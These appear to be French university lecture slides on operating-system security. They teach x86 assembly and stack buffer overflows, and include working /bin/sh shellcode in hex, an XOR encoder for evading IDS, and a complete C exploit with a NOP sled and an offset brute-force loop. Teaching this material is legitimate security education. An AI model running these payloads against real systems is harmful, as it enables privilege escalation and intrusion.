Sécurité des Systèmes d Exploitation : cours 2



Documents pareils
Architecture des ordinateurs

Structure d un programme

Programmation assembleur : aperçu

Logiciel de base. Première année ENSIMAG

Les failles Format String

Architecture des ordinateurs : Programmation des processeurs avec l'environnement «y86» (INF155)

Initiation à la sécurité

Les techniques de protection du logiciel

Compilation (INF 564)

Machines virtuelles. Brique ASC. Samuel Tardieu Samuel Tardieu (ENST) Machines virtuelles 1 / 40

Résumé Génération de code Le code intermédiaire

Architecture des ordinateurs

Rappels d architecture

Les attaques par corruption de mémoire Synopsis Mickael Deloison 22/10/2008

DU BINAIRE AU MICROPROCESSEUR - D ANGELIS CIRCUITS CONFIGURABLES NOTION DE PROGRAMMATION

Les vulnérabilités du noyau. LECORNET Olivier LEGROS Bruno VIGIER Nicolas Promo 2005

Introduction aux buffer overflow, CS335

Le Projet BINSEC. Automatiser l analyse de sécurité au niveau binaire. Airbus group, CEA, IRISA, LORIA, Uni. Joseph Fourier. p.

Playing with ptrace() for fun and profit

GlobalScape Secure FTP Server Buffer Overflow

Programmation système I Les entrées/sorties

Conventions d écriture et outils de mise au point

EPREUVE OPTIONNELLE d INFORMATIQUE CORRIGE

SSTIC Désobfuscation automatique de binaires. Alexandre Gazet. Yoann Guillot. Et autres idyles bucoliques...

Assembleur i8086. Philippe Preux IUT Informatique du Littoral. Année universitaire 95 96

DNS Server RPC Interface buffer overflow. Céline COLLUMEAU Nicolas BODIN

Architecture des ordinateurs. Loïc Cuvillon. 20 novembre 2013

Département informatique de l université d Angers

Mon premier rpm. 7 juin Avant de commencer RPM URPMI RPMBUILD... 2

Introduction au langage C

Systèmes d Exploitation & Machines Virtuelles. Format de l enseignement. Objectif du cours

1. Structure d un programme C. 2. Commentaire: /*..texte */ On utilise aussi le commentaire du C++ qui est valable pour C: 3.

Désobfuscation automatique de binaire - The Barbarian Sublimation

Skype (v2.5) Protocol Data Structures (French) Author : Ouanilo MEDEGAN

Assembleur. Faculté I&C, André Maurer, Claude Petitpierre

Algorithmique et Programmation, IMA

Plan du cours. Historique du langage Nouveautés de Java 7

Cours d initiation à la programmation en C++ Johann Cuenin

Bases de programmation. Cours 5. Structurer les données

Ordinateurs, Structure et Applications

Réalisation d un OS 32 bits pour PC(x86)

Licence Bio Informatique Année Premiers pas. Exercice 1 Hello World parce qu il faut bien commencer par quelque chose...

Traduction binaire dynamique de l extension SIMD Néon de l ARMv7 dans Qemu

4. Initiation à l'assembleur

CM2 L architecture MIPS32

Débogage de code* Mardi 13 décembre Romaric DAVID Université de Strasbourg - Direction Informatique Pôle HPC. hpc.unistra.

Reproductibilité des expériences de l article "Analyse et réduction du chemin critique dans l exécution d une application"

Conception de circuits numériques et architecture des ordinateurs

Gestion mémoire et Représentation intermédiaire

INITIATION AU LANGAGE C SUR PIC DE MICROSHIP

Analyse de sécurité de logiciels système par typage statique

INFO-F-404 : Techniques avancées de systèmes d exploitation

Plan global Outils de développement et compilation. Plan. Objectifs des outils présentés. IDE, GCC/Clang, ASAN, perf, valgrind, GDB.

Le langage C. Séance n 4

Architecture des ordinateurs TD1 - Portes logiques et premiers circuits

Cours de C. Petits secrets du C & programmation avancée. Sébastien Paumier

Protection des protocoles

Contraintes, particularités. 1. Généralités Gestion de la mémoire a. Type des variables et constantes... 2

Table des matières. Avant-propos... Préface... XIII. Remerciements...

Brefs rappels sur la pile et le tas (Stack. / Heap) et les pointeurs

Exercice sur les Dockers

Programmation système en C/C++

Déprotection semi-automatique de binaire

1/24. I passer d un problème exprimé en français à la réalisation d un. I expressions arithmétiques. I structures de contrôle (tests, boucles)

TP1. Outils Java Eléments de correction

Introduction à Java. Matthieu Herrb CNRS-LAAS. Mars

Cours Programmation Système

OS Réseaux et Programmation Système - C5

Systèmes d exploitation

1 Architecture du cœur ARM Cortex M3. Le cœur ARM Cortex M3 sera présenté en classe à partir des éléments suivants :

MICROINFORMATIQUE NOTE D APPLICATION 1 (REV. 2011) ARITHMETIQUE EN ASSEMBLEUR ET EN C

Outils pour la pratique

Argument-fetching dataflow machine de G.R. Gao et J.B. Dennis (McGill, 1988) = machine dataflow sans flux de données

Langage C. Patrick Corde. 22 juin Patrick Corde ( Patrick.Corde@idris.fr ) Langage C 22 juin / 289

Cours d Algorithmique-Programmation 2 e partie (IAP2): programmation 24 octobre 2007impérative 1 / 44 et. structures de données simples

Travaux pratiques. Compression en codage de Huffman Organisation d un projet de programmation

ERESI : une plate-forme d'analyse binaire au niveau noyau. The ERESI team

INTRODUCTION A JAVA. Fichier en langage machine Exécutable

Chapitre 1 : La gestion dynamique de la mémoire

IV- Comment fonctionne un ordinateur?

Solution du challenge SSTIC Emilien Girault ANSSI/COSSI/DTO/BAI 06/06/13

Introduction à la programmation orientée objet, illustrée par le langage C++ Patrick Cégielski

DE L ALGORITHME AU PROGRAMME INTRO AU LANGAGE C 51

ERESI : une plate-forme d analyse binaire au niveau noyau

Une introduction à Java


Info0101 Intro. à l'algorithmique et à la programmation. Cours 3. Le langage Java

TD3: tableaux avancées, première classe et chaînes

Programmation système de commandes en C

Éléments d informatique Cours 3 La programmation structurée en langage C L instruction de contrôle if

Plan global. Programmation système II. Socket du domaine UNIX. Plan. Socket UNIX, Terminaux, Async IO, Mémoire, ELF.

Chap III : Les tableaux

Traduction des Langages : Le Compilateur Micro Java

Les structures de données. Rajae El Ouazzani

Java Licence Professionnelle CISII,

Les structures. Chapitre 3

Python Les fondamentaux du langage

Cours 1 : La compilation

NanoSense. Protocole Modbus de la sonde Particules P4000. (Version 01F)

UE Programmation Impérative Licence 2ème Année

Transcription:

Sécurité des Systèmes d Exploitation : cours 2 Frédéric Gava Master ISIDIS, Université de Paris-Est Créteil Cours Sécurité du M2 ISIDIS

Plan 1 Programmation bas niveau 2 Principe du buffer-overflow 3 Fabriquer un shellcode 4 Faire l exploit

Plan 1 Programmation bas niveau 2 Principe du buffer-overflow 3 Fabriquer un shellcode 4 Faire l exploit

Plan 1 Programmation bas niveau 2 Principe du buffer-overflow 3 Fabriquer un shellcode 4 Faire l exploit

Plan 1 Programmation bas niveau 2 Principe du buffer-overflow 3 Fabriquer un shellcode 4 Faire l exploit

Déroulement du cours 1 Programmation bas niveau 2 Principe du buffer-overflow 3 Fabriquer un shellcode 4 Faire l exploit ISIDIS : cours 3 / 62

Généralités (1) L analyse de fichier binaire est une connaissance importante pour toute personne souhaitant accroitre ses connaissances en securite informatique car : elle permet de connaitre comment fonctionne un programme de l exterieur sans en avoir les sources. un attaquant laisse des traces, souvent dans les binaires ISIDIS : cours 4 / 62

Généralités (2) Plusieurs types d analyses : l analyse statique (gdb, asm2c, code source) et dynamique (sniffers reseaux, tracers, VM) black-box : Cette technique permet d etudier un programme sans connaitre sont fonctionnement interne, juste en regardant comment il reagit et quels sont les resultats des differentes entrees et sorties. post-mortem : On regarde simplement les resultats de l execution du programme, comme les differents logs, les changements dans les fichiers, dans la date d acces des fichiers, les donnees que l on peut retrouver dans la memoire... Programmation bas niveau assembleur ISIDIS : cours 5 / 62

Les exécutables (1) Les exécutables sur un système GNU/Linux sont au format ELF (Executable and Linking Format). Ce format est découpé en plusieurs parties : Un header qui contient l offset des deux parties suivantes et des informations intéressantes pour le système sur le programme. Un program header table qui contient la liste des segments du fichier exécutable. Un section header table qui contient la liste des sections du fichier exécutable. Les données référencées par les éléments précédents. ISIDIS : cours 6 / 62

Les exécutables (1) ISIDIS : cours 7 / 62

Les exécutables (2) Nous avons : Une section peut contenir du code exécutable, des données, des données de liaison, des données de débugging, des tables de symboles, des informations de relocation, des commentaires, etc. Les segments, quant à eux, sont un groupe de sections apparentées. Par exemple, le segment de texte regroupe le code exécutable, le segment de données encapsule les données du programme, et le segment dynamic regroupe les informations nécessaires au chargement. ISIDIS : cours 8 / 62

Les exécutables (2) ISIDIS : cours 9 / 62

Chargement Lors du chargement, chaque segment est chargé et interprété : le système d exploitation recopie les segments du fichier dans la mémoire virtuelle, à partir des informations données dans l en-tête du programme. L espace virtuel : L espace adressable utilisateur pour le premier est situé dans l intervalle 0x00000000 : 0xBFFFFFFF l espace adressable pour le noyau est situé dans l intervalle 0xC0000000 : 0xFFFFFFFF Les exécutables au format ELF sont chargés à partir de l adresse virtuelle 0x08048000 appelée adresse de base. ISIDIS : cours 10 / 62

Organisation de l espace utilisateur (1) On trouve (mais pas que) les sections :.text qui contient le code du programme..data qui contient les données globales initialisées..bss qui contient les données globales non initialisées..stack qui est la pile du programme (construite de bas en haut et donc des adresses les plus hautes aux plus petites) ISIDIS : cours 11 / 62

Organisation de l espace utilisateur (1) ISIDIS : cours 12 / 62

Organisation de l espace utilisateur (2) char a; // ==>.bss char b[] = b ; // ==>.data int main() { char c; // ==>.stack static char d; // ==>.bss static char e[] = e ; // ==>.data char var6; // ==>.stack var6 = malloc(512); // ==>.heap return 0; } ISIDIS : cours 13 / 62

Organisation de l espace utilisateur (3) heap2$ size -A -x /bin/ls section size addr.interp 0x13 0x80480f4.note.ABI-tag 0x20 0x8048108.hash 0x258 0x8048128.dynsym 0x510 0x8048380.dynstr 0x36b 0x8048890... On peut aussi faire readelf -e ou objdump -h ISIDIS : cours 14 / 62

Les registres (1) Les registres a but general : eax, ebx,ecx,edx, edi, esi. Les registres speciaux : ebp, esp, eip, eflags. Certains de ces derniers registres peuvent être utilises comme des general purpose register mais il sont plus rapides pour certaines opérations c est pour cela qu on les nomme special purpose register. De meme certains registres communs ou general purpose register peuvent être dans certains cas utilisés comme registres spéciaux car certaines instructions en sont dépendantes, c est a dire que l instruction nécessite la présence de ces variables dans certains registres. ISIDIS : cours 15 / 62

Les registres (2) Exemple : -------------------------------%eax--------------------------- %ah %al --------------%ax------------ %eax est un dword soit 4 bytes, %ax est le least significant half de eax (la partie basse de eax), il est utilisé pour traiter deux bytes. %al est le LSB (least significant Byte) de %ax il est utilise pour traiter un byte. %ah est le MSB (most significant Byte) de %ax il permet de modifier la partie haute de %ax. ISIDIS : cours 16 / 62

Les registres (3) Les principaux : %eip (instruction pointer) : pointeur vers la prochaine instruction à exécuter. %ebp (base pointer) : pointeur de base. Son rôle est de placer un repère permettant d accéder facilement aux arguments de la fonction et/ou aux variables locales. %esp (stack pointer) : pointeur vers le prochain emplacement libre de la pile. ISIDIS : cours 17 / 62

Les instructions (1) Liste basique d instructions utiles a la compréhension d un programme en assembleur est courte. Déplacement dans la mémoire : mov : Permet de déplacer le contenu d un registre dans un autre lea : Permet de déplacer la valeur pointee a un emplacement mémoire donne dans un registre push : Ajoute une valeur sur la pile et decremente la stack pop : Extrait une valeur de la stack et incrémente la stack Instructions arithmetiques : add, sub, mul, div : Modifie la valeur a un registre inc : Incrémentation unitaire d un registre dec : Decrementation unitaire d un registre ISIDIS : cours 18 / 62

Les instructions (2) Instructions de contrôle : cmp : Compare deux registre call : Appelle une fonction int : Demande d interruption logicielle ret : Retour a la fonction appelante jmp (jump!) je (jump if equal), jne (jump if not equal), jg (jump if greater) (jump if second value is greater) jge (jump if greater or equal), jl (jump if less), jle (jump if less or equal) Instructions logiques : and, or, xor, not nop : ne fait rien (x90) ISIDIS : cours 19 / 62

Les instructions (3) Le typage : comme nous l avons vu précédemment, un registre peut être découpe pour que l on utilise 4, 2 ou 1 Byte. Les instructions vues précédemment peuvent etre suffixee pour spécifier le nombre de byte a utiliser. Par exemple pour mov : movb (utilise qu un seul byte : movb $0xFF, %al), mov ou movw (utilise 2 bytes ou un word (16 Bits) : mov $0xFFFF, %ax), movl (utilise 4 bytes ou un dword (double word, 32 Bits) : mov $0xFFFFFFFF, %eax). ISIDIS : cours 20 / 62

Accès à la mémoire Immediate mode (valeur directe precedee d un $) : mov $42, %eax Register addressing mode (contenu d un registre) : mov %ebx, %eax Indirect addresing mode (valeur pointee par registre) : mov (%eax), %ecx Direct addressing mode : mov 0x4242, %ebx (mov $0x15552, %eax mov (%eax), %ebx) Indexes addressing mode (adresse calculee) : le multiplier représente en general la taille d une variable et l index permet d avancer dans le tableau situe a l adresse de base, Address or offset(%base or offset, %index, %multiplier) : movl string start(%ecx,1), %eax Base pointer addresing mode (equivalent a l indirect addressing avec un offset, on s en servira très fréquemment pour accéder a une valeur de la stack) : movl 4(%eax), %ebx ISIDIS : cours 21 / 62

Appel de fonction (1) Chaque fonction va demander le placement d un ensemble d éléments sur la pile. Cet ensemble est composé des arguments de la fonction, de certaines informations relatives à la fonction appelante (sauvegarde des registres %eip et %ebp), et enfin, des variables locales. Un protocole définis l appel d une fonction. Ex. pour foo(5,6), on va avoir : push $0x6 ; Ajout du dernier argument push $0x5 ; Ajout du premier argument call 0xadresse <foo> ; Adresse hexadécimale de la fonction ; à appeller add $0x8,%esp ; Retrait des variables de la pile ; (2 mots de 4 bytes) ISIDIS : cours 22 / 62

Appel de fonction (2) ISIDIS : cours 23 / 62

Appel de fonction (2) L instruction call sauvegarde sur la pile le registre %eip. Une instruction call est donc équivalente à : push %eip jmp 0xadresse <foo> ISIDIS : cours 24 / 62

Appel de fonction (3) Une fonction est composée d un prologue (mettre en place le cade de la fonction) et d un épilogue. Au prologue : sauvegarder sur la pile le pointeur de base de la fonction appelante, en initialisant son propre pointeur de base, en allouant assez d espace sur la pile pour ses variables locales et, éventuellement, en sauvegardant les registres qu elle va utiliser dans le but de sauvegarder les données de la fonction appelante. Ex : int foo(int a, int b) { int c = a; int d = b; return c; } push %ebp ; Sauvegarde du registre %ebp de l appelant mov %esp,%ebp ; Initialisation du %ebp de la fonction sub $0x18,%esp ; Un GCC qui réserve 24 bytes minimum push %eax ; Sauvegarde du registre de retour ISIDIS : cours 25 / 62

Appel de fonction (4) L épilogue permet de préparer le retour à la fonction appelante en restaurant les registres sauvés, en désallouant les variables locales, en restaurant le pointeur de base de la procédure appelante et en chargeant dans le registre %eip l adresse de l instruction de la fonction appelante à exécuter. pop %eax; Restauration du registre %eax leave ; Désallocation des variables locales ; et restauration de %ebp ret ;retour à la procédure appelante en changeant %eip Remarque : les instructions leave et ret sont équivalentes aux instructions suivantes : mov %ebp,%esp ; leave pop %ebp ; leave pop %eip ; ret ISIDIS : cours 26 / 62

Déroulement du cours 1 Programmation bas niveau 2 Principe du buffer-overflow 3 Fabriquer un shellcode 4 Faire l exploit ISIDIS : cours 27 / 62

Généralités (1) Le principe de l attaque par buffer overflow est de faire exécuter un code malveillant à un programme en écrasant dans la pile certaines données d exécution du programme à cause d une non vérification des longueurs de String. Prenons cet exemple : #include <stdio.h> #include <string.h> void foo(char string); int main(int argc, char argv) { if (argc > 1) foo(argv[1]); return 0;} void foo(char string) { char buffer[256]; strcpy(buffer, string);} ISIDIS : cours 28 / 62

Généralités (2) foo push %ebp mov %esp,%ebp sub $0x108,%esp ; 0x108 = 264 Dépassons les 264 octets alloué jusqu à écraser le registre %eip de la fonction appelate de telle manière que, lorsque l instruction ret sera exécutée, le programme sera redirigé vers notre code malveillant. Mais c est plus facile à dire qu à faire (impossible directement sur des machines modernes). Remarque : en C et comme dans bcp de langage, les string se termine par le caractère null /0 ISIDIS : cours 29 / 62

Généralités (3) ISIDIS : cours 30 / 62

Plantage (1) $ ulimit -c unlimited $./a.out perl -e print "A"x267 $ Segmentation fault (core dumped) $ gdb -c core... Core was generated by./a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAA. Program terminated with signal 11, Segmentation fault. #0 0x080483de in?? () Erreur à l instruction 0x080483de. Regardons le code ASM du main ISIDIS : cours 31 / 62

Plantage (2) $ gdb./a.out... disassemble main 0x080483a4 <main+0>: push %ebp 0x080483a5 <main+1>: mov %esp,%ebp 0x080483a7 <main+3>: sub $0x8,%esp... 0x080483cf <main+43>: pushl (%eax) 0x080483d1 <main+45>: call 0x80483e0 <foo> 0x080483d6 <main+50>: add $0x10,%esp 0x080483d9 <main+53>: mov $0x0,%eax 0x080483de <main+58>: leave 0x080483df <main+59>: ret On trouve leave à 0x080483de. Avec notre débordement, le registre %ebp contient la valeur 0x00414141 (des A en hexa) et donc un saut faire cette adresse est interdit (trop en dessous). Maintenant, nous allons aller encore plus loin en écrasant la sauvegarde du registre %eip avec./a.out perl -e print A x272 ISIDIS : cours 32 / 62

Plantage (3) $ gdb -c core... Core was generated by./a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAA. Program terminated with signal 11, Segmentation fault. #0 0x41414141 in?? () Car on a tenté d exécuter l instruction à l adresse 0x41414141. On peut donc rediriger notre code vers... bah un peut tout si on a la place. ISIDIS : cours 33 / 62

Plantage (4)... Core was generated by./a.out AAAAAAAAAAAAAAAAAAAAAAAAAAAA Program terminated with signal 11, Segmentation fault. #0 0x41414141 in?? () L utilitaire gdb nous indique que le programme a été arrêté à cause d une erreur de segmentation lorsque l instruction à l adresse 0x41414141 a tenté d être exécutée. Nous avons pu rediriger le programme vulnérable à l adresse de notre choix faire exécuter ce que nous voulons, un shell car ainsi, les commandes qui y seront lancées, le seront avec les privilèges du programme vulnérable (si SUID root alors shell root, mais pas obligatoire, on peut s augmenter les droit artificiellement). Le but du programme d exploit est d injecter ce que l on appele le payload dans le code vulnérable. Le payload est une chaîne contenant tout ce qui est nécessaire au bon déroulement de la faille, y compris le shellcode et l adresse de retour. ISIDIS : cours 34 / 62

Ne fonctionne plus aussi simplement... (1) Hélas, cette attaque ne fonctionne plus pour plusieurs raisons : GCC introduit de base des canaries (petit bout de code hexa à la suite des buffers qui protège les vrai instructions) pour proteger le code (compiler avec l option -fno-stack-protector) et a des options pour protéger au mieux la pile : -fstack-protector-all la pile n est plus exécutable (ubuntu 10) le buffer-overflow doit se faire sur le heap (plus dure à mettre en oeuvre) les firewall recherchent (pas toujours bien) les codes malveillants dans les chaines de caractère en hexa (on peut les bluffer) technique très connu et de plus en plus corrigée les dernière versions des shells bash et tcsh, quand ils sont appelés, vérifient si l uid du processus est égal à son euid et si ce n est pas le cas, l euid du shell est fixé à la valeur de l uid par mesure de sécurité. ISIDIS : cours 35 / 62

Ne fonctionne plus aussi simplement... (2) Pour augmenter ces privilèges, On peut faire setuid avant d appeler le shell. Voici le code d un tel wrapper : #include <unistd.h> main(){ char name[]={ /bin/sh,null}; setuid(0);setgid(0); execve(name[0], name, NULL); } En HEXA, pour les shellcode : "\x33\xc0\x31\xdb\xb0\x17\xcd\x80" ISIDIS : cours 36 / 62

Déroulement du cours 1 Programmation bas niveau 2 Principe du buffer-overflow 3 Fabriquer un shellcode 4 Faire l exploit ISIDIS : cours 37 / 62

Premier shellcode (1) Normalement, on les trouve tout fait sur Internet (homonégisation des archis des serveurs). Mais voyons comme faire nous même : int main() { printf( Hello World! ); } Cela donne : $ gcc -static -o helloworld helloworld.c $ strace./helloworld... write(1, "Hello World!", 13Hello World!)... On peut remplacere le printf par write(1,...,13). Il est parfois nécessaire de compiler le programme avec le flag -static afin de pouvoir désassembler les appels système... ISIDIS : cours 38 / 62

Premier shellcode (2) $ more /usr/include/asm/unistd.h grep write Sinon éditer le fichier pour voir les includes. $ more /usr/include/asm-i386/unistd.h grep write... #define NR_write 4... EAX va contenir le numéro du syscall, soit 4 EBX va contenir le premier argument de write, 1. ECX va contenir le deuxième argument, soit l adresse de la cha^ıne "Hello World!". EDX va contenir la longueur de la cha^ıne (3ème argument), 13, ou 0x0d. Il nous faut l adresse de la chaine Hello ISIDIS : cours 39 / 62

Premier shellcode (3) Pour récupérer l adresse d une chaine, il faut déja la placer en mémoire. Ensuite, il faut réussir à trouver où elle est. Nous allons utiliser la technique du pop/call, décrite par Pr1on dans Phrack. Elle consiste, à partir d une adresse X, à sauter sur une étiquette d adresse Y, en dessous de laquelle figure un call vers l instruction suivant X. Et en dessous de ce call se trouve notre chaîne. Comment se passe la récupération de l adresse? En fait, lors du Call, l adresse de l instruction suivante va être empilée, comme pour tous les call. Comme l adresse suivante ets précisément l adresse de notre chaîne, c est gagné! Il ne nous restera plus qu a dépiler l adresse dans un registre, en l occurence ECX. Voici un petit schéma illustratif : [début du shellcode] jmp chaine suite: pop ecx [suite et fin du shellcode] chaine: call suite [notre chaine] ISIDIS : cours 40 / 62

Premier shellcode (4) Ecrivons maintenant le shellcode : $ cat asm.s main: xorl %eax,%eax //On met à zéro tous les registres, pour éviter les problèmes xorl %ebx,%ebx xorl %ecx,%ecx xorl %edx,%edx movb $0x4,%al //On met al pour éviter les 0 dans les opcodes movb $0x1,%bl jmp chaine ret: popl %ecx movb $0xd,%dl int $0x80 chaine: call ret.string "Hello World!" $ as -o asm.o asm.s $ ld -o asm asm.o ISIDIS : cours 41 / 62

Premier shellcode (5) Récupéron le code en hexa $ objdump -d asm Déassemblage de la section.text: 08048074 : 8048074: 31 c0 xor %eax,%eax 8048076: 31 db xor %ebx,%ebx 8048078: 31 c9 xor %ecx,%ecx 804807a: 31 d2 xor %edx,%edx 804807c: b0 04 mov $0x4,%al 804807e: b3 01 mov $0x1,%bl 8048080: eb 05 jmp 8048087... 08048087 : 8048087: e8 f6 ff ff ff call 8048082 On recopie pour avoir : \x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x04\xb3\x01\xeb\x05\x59\xb2\x01 \xcd\x80\xe8\xf6\xff\xff\xffhello World! ISIDIS : cours 42 / 62

Tester le shellcode Au choix : int main() { char sh[] =... asm( jmp %esp ); return 0; } ou int main() { char sh[] =... int ret; ( (int ) &ret + 2) = (int) sh; } Sur la pile, on trouve de bas en haut : l adresse de retour de main, le contenu du registre EBP sauvegardé par le prologue de main et la variable ret. &ret + 2 = &(adresse de retour de main). ISIDIS : cours 43 / 62

Un vrai shellcode (1) #include <stdio.h> #include <unistd.h> int main() { char param[] = { /bin/sh, NULL}; execve(param[0], param, NULL); //execve est déja un appel système return 0; } avec : $ more /usr/include/asm/unistd.h grep execve #define NR_execve 11 ISIDIS : cours 44 / 62

Un vrai shellcode (2) main: xorl %eax,%eax xorl %ebx,%ebx xorl %ecx,%ecx xorl %edx,%edx //On doit récupérer les arguments de execve : //ebx = "/bin/sh" //ecx = tab = {"/bin/sh",0} //edx = n 3: 0 //De plus, eax = 11, le syscall //empile 0 push %edx /On doit empiler /bin/sh. Or on est sur la pile et sur une architecture x86. On doit donc empiler 4 octets par 4 octets, on rajoute donc un /. De plus on doit empiler à l envers, de la façon suivante : dans le sens 4 derniers octets puis 4 premiers octets dans le sens tous les octets sont inversés On pushe donc en premier hs/n, puis nib// : push $0x68732f6e push $0x69622f2f ISIDIS : cours 45 / 62

Un vrai shellcode (3) //on récupère l adresse de la cha^ıne mov %esp,%ebx //empile 0 push %edx //empile l adresse de l adresse de la cha^ıne (c est à dire tab) push %ebx On a donc une pile qui ressemble à ISIDIS : cours 46 / 62

Un vrai shellcode (4) +------------------------+ //bin/sh <-+ +------------------------+ edx = 0 +------------------------+ +-> ebx = addr chaine --+ +------------------------+ 0 +------------------------+ +-- ecx = addr addr chaine +------------------------+ ISIDIS : cours 47 / 62

Un vrai shellcode (5) //on récupère l adresse de tab mov %esp,%ecx //exécute l interruption mov $11,%al int $0x80 et on fait comme avant... On obtient : char sh[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x52\x68\x6e\x2f\x73\x68" "\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"; ISIDIS : cours 48 / 62

Shell-code amélioré Le pb est que bcp d IDS detectent ce genre de chaines (surtout celles qu on peut trouver sur le web). Pour les biaiser, une première solution est d utiliser des équivalences de code : movl $0x0, %eax ==> xorl %eax,%eax movb $0x0,0x7(%esi) ==> xorl %eax,%eax molv $0x0,0xc(%esi) ==> movb %eax,0x7(%esi) movl %eax,0xc(%esi) movl $0xb,%eax ==> movb $0xb,%al movl $0x1, %eax ==> xorl %ebx,%ebx movl $0x0, %ebx ==> movl %ebx,%eax inc %eax Mais les IDS regarde plus simplement si /bin/sh est présent ou non... ISIDIS : cours 49 / 62

Cryptage Créer un module de décryptage qui sera intégré au shellcode. Le plus simple xor (faire table de vérité) : si deux bits sont de valeurs différentes le résultat sera 1, et si ils ont la meme valeur ce sera 0 utilisation d une clés. P. ex. 16 : 45 xor 16=61 et 61 xor 16 = 45. Encryptons de cette sorte la chaine du shellcode. Code ASM pour le decryptage : jmp code suite: pop %esi xorl %eax, %eax decr: cmp %al, (%esi) je execute xorl $25, (%esi) add $1, %esi jmp decr code: call suite execute:.string "" ISIDIS : cours 50 / 62

Déroulement du cours 1 Programmation bas niveau 2 Principe du buffer-overflow 3 Fabriquer un shellcode 4 Faire l exploit ISIDIS : cours 51 / 62

Un déni de service sans boucle! (1) Il n y a rien de plus énervant qu un serveur qui ne répond pas à cause de déni de service. Voyons comment écrire un programme C sans boucle/récursivité qui boucle... #include <stdio.h> #include <string.h> void foo(void); int main() {foo();return 0;} void foo(void) {char buffer[32];} Faisons en sorte d écraser la sauvegarde du registre %eip de la fonction main dans le cadre de la fonction foo. Cette sauvegarde sera écrasée par l adresse de l instruction call faisant un branchement vers la fonction foo dans main. Ainsi, à la première exécution du programme : La fonction main fait un branchement vers la fonction foo; lorsqu il est rempli, le buffer écrase la sauvegarde de %eip puis retour à la fonction main. ISIDIS : cours 52 / 62

Un déni de service sans boucle! (2) Il suffit de déclarer un pointeur à l entrée de notre buffer, d incrémenter ce pointeur jusqu à ce qu il arrive au premier byte de la sauvegarde du registre %eip et de remplacer cette sauvegarde avec l adresse de l instruction call de la fonction appelante. Dump of assembler code for function main: 0x08048404 <+0>: push %ebp 0x08048405 <+1>: mov %esp,%ebp 0x08048407 <+3>: and $0xfffffff0,%esp 0x0804840a <+6>: call 0x8048418 <foo> 0x0804840f <+11>: mov $0x0,%eax 0x08048414 <+16>: mov %ebp,%esp 0x08048416 <+18>: pop %ebp 0x08048417 <+19>: ret L adresse recherchée est 0x0804840a (non modifié à la compilation). Modifions alors le code ISIDIS : cours 53 / 62

Un déni de service sans boucle! (3) #include <stdio.h> #include <string.h> void foo(void); int main() {foo();return 0;} void foo(void) { / Allocation : 56 bytes (0x38) / char buffer[32]; char workptr = (char )&buffer; workptr += 48; // 8 bytes pour passer %ebp ((long )workptr) = 0x08048390; // long = 64 bits = 8 bytes } ISIDIS : cours 54 / 62

Ecriture d un exploit (1) L écriture d un exploit peut-être une chose très difficile (pour les pro ) comme une chose très simple. Ici, nous prendrons notre exemple simple : include <stdio.h> #include <string.h> void foo(char string); int main(int argc, char argv) { if (argc > 1) foo(argv[1]); return 0;} void foo(char string) { char buffer[256]; strcpy(buffer, string);} 2 grandes difficultés sont rencontrées dans l écriture d un exploit : (1) La génération du payload. (2) la connaissance de l adresse du shellcode dans la mémoire. Ces deux problèmes se rejoignent lors du développement de notre exploit. ISIDIS : cours 55 / 62

Ecriture d un exploit (2) Si le payload était uniquement composé du shellcode sans instructions nop, il faudrait être extrêmement précis dans l adresse de retour pour ne pas se retrouver face à une erreur de segmentation. ISIDIS : cours 56 / 62 Commençons par la génération du payload. Celui-ci doit se trouver dans un buffer de la taille : Taille(payload) = Taille(Buffer sur la pile )+2 (4 ou 8)+1 2*4 (ou 8 pour 64 bytes) représente la taille de la sauvegarde des registres %ebp et %eip à écraser, et le dernier byte ajouté à la fin, le caractère /0 de fin de chaîne. Pour notre programme vulnérable, la taille du payload sera donc de 264+8+1 = 273. qui aura la forme suivante :

Ecriture d un exploit (3) Pour rechercher l adresse de retour, nous allons utiliser une instruction assembleur incluse dans notre exploit en C afin de récupérer la valeur du registre %esp. En effet, grâce au mécanisme de mémoire virtuelle et au format ELF, nous savons que notre buffer vulnérable ne sera pas très loin de l adresse contenue dans ce registre. Notre exploit prendra un argument. Cet argument sera un offset à additionner à la valeur du registre %esp récupérée afin de remonter dans la pile du programme vulnérable pour tenter de retrouver le shellcode. ISIDIS : cours 57 / 62

Ecriture d un exploit (4) #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define NOP 0x90 long getesp(void); int main(int argc, char argv) { char shellcode[] =... ; char buffer[273]; char ptr = (char )&buffer; int i; for (i = 0; i < 268 strlen(shellcode); i++, ptr++) ptr = NOP; for (i = 0; i < strlen(shellcode); i++, ptr++) ptr = shellcode[i]; int offset = atoi(argv[1]); long esp = getesp(); long ret = esp + offset; printf( ESP Register : 0x%x\n, esp); printf( Offset : %i\n, offset); printf( Address : 0x%x\n, ret); (long )ptr = ret; ptr += 4; (char )ptr = \0 ; execl(path, vuln, buffer, NULL); } long getesp(void) { asm ( mov %esp,%eax ); } ISIDIS : cours 58 / 62

Ecriture d un exploit (5) Un dernier problème se pose : l estimation de l offset. Voici un petit programme en bash qui fait un brute-force pour le trouver : $ A=-1; while [ 1 ]; do A=$((A+1));./a.out $A; done ESP Register : 0xbfe031b8 Offset : 0 Address : 0xbfe031b8 Segmentation fault ESP Register : 0xbf90ad18 Offset : 1 Address : 0xbf90ad19 Segmentation fault ESP Register : 0xbfdeb1f8 Offset : 2 Address : 0xbfdeb1fa Segmentation fault ESP Register : 0xbf8e44f8 Offset : 3 Address : 0xbf8e44fb sh-3.1$ Victoire! ISIDIS : cours 59 / 62

Un exemple rigolo (1) Une faille dans le navigateur Mozilla Firefox 2.0.0.16. Cette faille était connue et décrite dans la CVE-2008-0016, et affectait aussi les logiciels Thunderbird 2.0.0.17 et SeaMonkey 1.1.12. Le problème se situait au niveau de l implantation du parseur d URL qui permetait à un pirate d exécuter du code arbitraire via un lien dont l adresse était encodée en UTF-8, sous ConvertUTF8toUTF16 : :write()qui copie la chaîne via une boucle dont le code vérifie que la fin de l espace alloué n est pas atteind. const value type p = start; const value type end = start + N; for ( ; p!= end; ) { char c = p++; //... while ( state ) { c = p++; // bug! Lors de l incrémentation de p, dans la boucle imbriquée, il n y a en effet rien qui empêche le pointeur de dépasser la fin du buffer. ISIDIS : cours 60 / 62

